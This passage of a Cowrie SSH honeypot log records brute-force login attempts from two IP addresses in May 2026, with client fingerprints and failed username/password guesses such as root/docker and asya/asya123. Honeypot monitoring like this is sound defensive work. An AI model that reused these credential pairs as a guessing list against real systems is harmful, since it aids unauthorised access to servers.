ac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:54.341477Z","src_ip":"213.209.159.56","session":"b0e07a4dc841","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:54.587266Z","src_ip":"124.152.4.100","session":"a102150f1d30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asya","password":"asya","message":"login attempt [asya/asya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:54.743565Z","src_ip":"213.209.159.56","session":"b0e07a4dc841","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asya","password":"asya1","message":"login attempt [asya/asya1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:55.829115Z","src_ip":"213.209.159.56","session":"b0e07a4dc841","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:55.869522Z","src_ip":"124.152.4.100","session":"a102150f1d30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.152.4.100","src_port":43550,"dst_ip":"10.17.0.5","dst_port":22,"session":"59dc965527dc","protocol":"ssh","message":"New connection: 124.152.4.100:43550 (10.17.0.5:22) [session: 59dc965527dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:56.114933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:56.119485Z","src_ip":"124.152.4.100","session":"59dc965527dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:56.384364Z","src_ip":"124.152.4.100","session":"59dc965527dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asya","password":"asya123","message":"login attempt [asya/asya123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:56.915287Z","src_ip":"213.209.159.56","session":"b0e07a4dc841","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos","message":"login attempt [root/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:57.174986Z","src_ip":"124.152.4.100","session":"59dc965527dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asya","password":"asya1234","message":"login attempt [asya/asya1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:58.001164Z","src_ip":"213.209.159.56","session":"b0e07a4dc841","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:58.443166Z","src_ip":"124.152.4.100","session":"59dc965527dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.152.4.100","src_port":43554,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ac9d29ee9e1","protocol":"ssh","message":"New connection: 124.152.4.100:43554 (10.17.0.5:22) [session: 1ac9d29ee9e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:58.697218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:58.700773Z","src_ip":"124.152.4.100","session":"1ac9d29ee9e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:58.960083Z","src_ip":"124.152.4.100","session":"1ac9d29ee9e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asya","password":"asya12345","message":"login attempt [asya/asya12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:59.085641Z","src_ip":"213.209.159.56","session":"b0e07a4dc841","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:59.739152Z","src_ip":"124.152.4.100","session":"1ac9d29ee9e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:00.171226Z","src_ip":"213.209.159.56","session":"b0e07a4dc841","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:01.001813Z","src_ip":"124.152.4.100","session":"1ac9d29ee9e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.152.4.100","src_port":43558,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd21df348581","protocol":"ssh","message":"New connection: 124.152.4.100:43558 (10.17.0.5:22) [session: fd21df348581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:01.298774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:01.303866Z","src_ip":"124.152.4.100","session":"fd21df348581","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:01.586409Z","src_ip":"124.152.4.100","session":"fd21df348581","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nginx","message":"login attempt [root/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:02.436548Z","src_ip":"124.152.4.100","session":"fd21df348581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:03.723466Z","src_ip":"124.152.4.100","session":"fd21df348581","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.152.4.100","src_port":43574,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2c27e4dd19b","protocol":"ssh","message":"New connection: 124.152.4.100:43574 (10.17.0.5:22) [session: a2c27e4dd19b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:03.962403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:03.967398Z","src_ip":"124.152.4.100","session":"a2c27e4dd19b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:04.231881Z","src_ip":"124.152.4.100","session":"a2c27e4dd19b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql","message":"login attempt [root/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:05.029544Z","src_ip":"124.152.4.100","session":"a2c27e4dd19b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:06.295639Z","src_ip":"124.152.4.100","session":"a2c27e4dd19b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.152.4.100","src_port":43144,"dst_ip":"10.17.0.5","dst_port":22,"session":"4311f64f89bc","protocol":"ssh","message":"New connection: 124.152.4.100:43144 (10.17.0.5:22) [session: 4311f64f89bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:06.591078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:06.624799Z","src_ip":"124.152.4.100","session":"4311f64f89bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:06.924331Z","src_ip":"124.152.4.100","session":"4311f64f89bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apache","message":"login attempt [root/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:07.770924Z","src_ip":"124.152.4.100","session":"4311f64f89bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:09.064527Z","src_ip":"124.152.4.100","session":"4311f64f89bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.152.4.100","src_port":43156,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea30b8acebb9","protocol":"ssh","message":"New connection: 124.152.4.100:43156 (10.17.0.5:22) [session: ea30b8acebb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:09.296799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:09.302274Z","src_ip":"124.152.4.100","session":"ea30b8acebb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:09.564742Z","src_ip":"124.152.4.100","session":"ea30b8acebb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"docker","message":"login attempt [root/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:10.349916Z","src_ip":"124.152.4.100","session":"ea30b8acebb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:11.615041Z","src_ip":"124.152.4.100","session":"ea30b8acebb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.152.4.100","src_port":43170,"dst_ip":"10.17.0.5","dst_port":22,"session":"09b05e9a7713","protocol":"ssh","message":"New connection: 124.152.4.100:43170 (10.17.0.5:22) [session: 09b05e9a7713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:11.878554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:11.884271Z","src_ip":"124.152.4.100","session":"09b05e9a7713","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:12.149301Z","src_ip":"124.152.4.100","session":"09b05e9a7713","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps","message":"login attempt [root/vps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:12.946592Z","src_ip":"124.152.4.100","session":"09b05e9a7713","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:14.217001Z","src_ip":"124.152.4.100","session":"09b05e9a7713","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.152.4.100","src_port":43174,"dst_ip":"10.17.0.5","dst_port":22,"session":"c33d95dbeac8","protocol":"ssh","message":"New connection: 124.152.4.100:43174 (10.17.0.5:22) [session: c33d95dbeac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:14.465134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:14.471613Z","src_ip":"124.152.4.100","session":"c33d95dbeac8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:14.735058Z","src_ip":"124.152.4.100","session":"c33d95dbeac8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"host","message":"login attempt [root/host] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:15.512406Z","src_ip":"124.152.4.100","session":"c33d95dbeac8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:16.776469Z","src_ip":"124.152.4.100","session":"c33d95dbeac8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.152.4.100","src_port":33052,"dst_ip":"10.17.0.5","dst_port":22,"session":"38e6412ae43c","protocol":"ssh","message":"New connection: 124.152.4.100:33052 (10.17.0.5:22) [session: 38e6412ae43c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:17.067959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:17.078028Z","src_ip":"124.152.4.100","session":"38e6412ae43c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecd